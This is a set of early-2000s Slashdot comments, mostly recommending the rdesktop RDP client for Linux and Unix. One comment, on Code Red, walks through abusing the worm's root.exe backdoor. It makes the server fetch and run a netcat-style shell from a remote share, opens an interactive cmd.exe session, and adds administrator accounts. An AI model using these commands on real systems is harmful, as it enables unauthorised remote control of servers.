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  1. Re:Well, I've gotten used to the new look, but... by B1 · · Score: 3, Informative · on Windows XP - The eXPerience Thus Far?

    I can't speak for 128-bit encryption, but take a look at rdesktop. It's a Windows Terminal Services / RDP client for Linux.

  2. Re:Terminal Services Client for *NIX by clutchcargo · · Score: 1 · on Review Of The Sharp Zaurus 5000D

    I'm not sure if it would work on one of these devices, but you can use a Windows Terminal Server using RDesktop. I've been using it at work, and it works surprisingly well--I haven't had any problems at all.

  3. Re:As much as I hate to say it.... by Anonymous Coward · · Score: 0 · on States Filing Alternate Remedy Proposal for MS Anti-Trust Case

    Good terminal server client?

    What's wrong with rdesktop?

    I know there's some bugs, but it's quite difficult to hack a closed, encrypted protocol.

  4. Re:Trial Installs... by hammock · · Score: 1 · on Evolution 0.99, Release Candidate Out

    Or http://www.rdesktop.org

    rdesktop is an open source client for Windows NT Terminal Server and Windows 2000 Terminal Services, capable of natively speaking Remote Desktop Protocol (RDP) in order to present the user's NT desktop. Unlike Citrix ICA, no server extensions are required.

  5. Rdesktop by Dashslot · · Score: 2, Informative · on WinVNC vs. KVM Extender?

    What kind of machine is it at the client's site? If it is W2K you could use rdesktop. This is apparently a fairly chatty protocol (compared with Citrix at least) but it is probably more CPU efficient.

    However, as another poster said, I think the KVM is the way to go, for the same reasons.

  6. Another reason stopping people from using Netscape by Nailer · · Score: 2 · on Netscape 6.2

    Large corporates are conservative and slow in moving from one platform to another. They'll be running Netware and Notes for a very long time (and good on them) and they might have even stuck with their old standard Netscape browser apart from one minor detail:

    Netscape isn't useable in most Terminal Services environments - essentially because large TS environments often use low (256) color displays and its dithering is piss poor. On a Windows box, view netscape.com in IE and Netscape. Its nearly unreadable in Netscape, as is most of the NS UI (even in classic mode). IE, on the other hand dithers extremely well, to the point where its possible to believe you were looking at a high color display.

    There's enough people tired of running Windows based desktop but keen on the Win32 platform to make TS compatibility a big concern when selecting an SOE. Goodbye Netscape.

    /me types this in IE on his Linux box using Rdesktop. Well recommended for non MS TS clients.

  7. Re:Can anyone recommend an Exchange replacement? by TRoLLHaXoR · · Score: -1 · on Open Source Software in a Windows Environment?

    If you go with Terminal Services, don't forget RDesktop. I found out about it here on slashdot, and it works so well, I hardly even use my KVM switch anymore. It's just faster to term into my Win2k server than press the button on my switch.

  8. http://www.rdesktop.org/ by sidetrack · · Score: 1 · on Windows-On-Linux Emulator Shootout
    http://www.rdesktop.org/

    We use rdesktop with w2k server, it definitely wins (sic) for us on ease of managment - just one Windows install for multiple users. We also tried VMWare, and Win4lin. It's also usable for off-site Windows access with X11 tunneled over ssh.

    Unfortunately, rdesktop only really works with the windows desktop in 256 colours at the moment, and there's no cut and paste yet, but it is improving, and certainly beats metaframe on cost....

    I might have gone for VMWare lite (or whatever they call it), but we happened to have an unused w2k server license lying about (an Exchange Server that didn't last long after I started working here ;-) ), so that was most of the cost already taken care of.

    There's even a debian package for rdesktop (with the patches to get it to work with w2k) in Sid...

  9. root.exe IS NOT RUN AS ADMINISTRATOR by TRoLLHaXoR · · Score: -1 · on Code Red Back For More
    Thought I'd chime in,

    In my experience trying to create an Administrator account on a Korean server so that I could term into it and patch it, I noticed that root.exe is not run as administrator. While you can still run commands, they are only being run with the privileges of IUSR_machinename. As best as I can figure out, this is nearly useless, since the IUSR_machinename account has very few priveleges.
    What I like to do when testing this is to put ncx99.exe from one of eEye's old IIS exploits on a public share. Then I can go to
    http://server/scripts/root.exe?+/c+\\1.2.3.4\\mysh are\ncx99.exe
    By doing so, the server runs this application off of my computer, and then I merely
    C:\>telnet localhost 99

    Microsoft Windows 2000 [Version 5.00.2195]
    (C) Copyright 1985-2000 Microsoft Corp.

    c:\inetpub\scripts>
    From here I have an interactive session with cmd.exe and I can run whatever commands I like. You can see what happens if I try to add a user:
    Microsoft Windows 2000 [Version 5.00.2195]
    (C) Copyright 1985-2000 Microsoft Corp.

    c:\inetpub\scripts>net user crfix crfix /ADD
    System error 5 has occurred.

    Access is denied.


    c:\inetpub\scripts>
    c:\inetpub\scripts>
    If you want to test this yourself, just copy c:\winnt\system32\cmd.exe to your c:\InetPub\scripts directory and change root.exe to cmd.exe, or rename cmd.exe to your liking.

    If you're curious and somehow do get a shell with administrator privileges, here's how you'd add an account with administrator privileges :
    C:\>net user asdf asdf /ADD
    The command completed successfully.

    C:\>net localgroup Administrators asdf /ADD
    The command completed successfully.
    From there, you could use Terminal Services to term into that machine and log onto the local domain as user "asdf" with a password of "asdf" and go on to cause all sorts of trouble.

    Also, for a kick ass RDP5 compatible Terminal Services client for UNIX, check out http://www.rdesktop.org.
  10. Re:Windows client by Xibby · · Score: 2 · on Making an X Terminal from a PC

    Let's see... Besides http://www.hummingbird.com/products/nc/exceed/inde x.html, there's X-Win32, WinaXe, and MI/X"

    If you run VNC over SSH compression I find it to be a decent soultion. I usually use the viewer with the -bgr233 (xvncviewer) or restrict pixels to 8-bot (for windows).

    Someone on the rdesktop mailing list mentioned creating a RDP server for UNIX, similar to the VNC server. How well it works, if it works with MS RDP clients, and where to find more information I do not know.

    Lastly, Citrix has created versions of MetaFrame for Solaris 2.6, 7, and 8 on SPARC and 7 and 8 on x86, AIX 4.3.3, and HP-UX 11.0. Too bad they don't do Linux.

  11. RDP client for Terminal Server available under GPL by Jacco+de+Leeuw · · Score: 2 · on Low-Bandwidth X
    Remember the DM 30.000 reward for a GPL'd client implementation of RDP?

    RDP is the thin client protocol used by Windows NT Terminal Server and Windows 2000. Well, you guys might be interested to know that Samba team member Matt Chapman has done it.

    rdesktop is available on the rdesktop website and only supports NT4 and 8-bit screens. Since then, patches have been made by several people, which extend the support to Windows 2000 and 16-bit screens. Get the "unified patched" version from Peter Bystrom's site instead.

    This is of course great news if you previously were forced to use a Windows RDP client on the desktop to access your (corporate) Windows network. You could even make a very inexpensive thin Linux client with RDP, VNC and Low-bandwidth X support.

    I don't know if Matt actually got the reward. The German company IGEL might as well have caved in and bought a licence from Microsoft, since they are now offering products containing RDP support.

    Jacco (to e-mail me, please remove all yourclothes)
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    # cd /var/log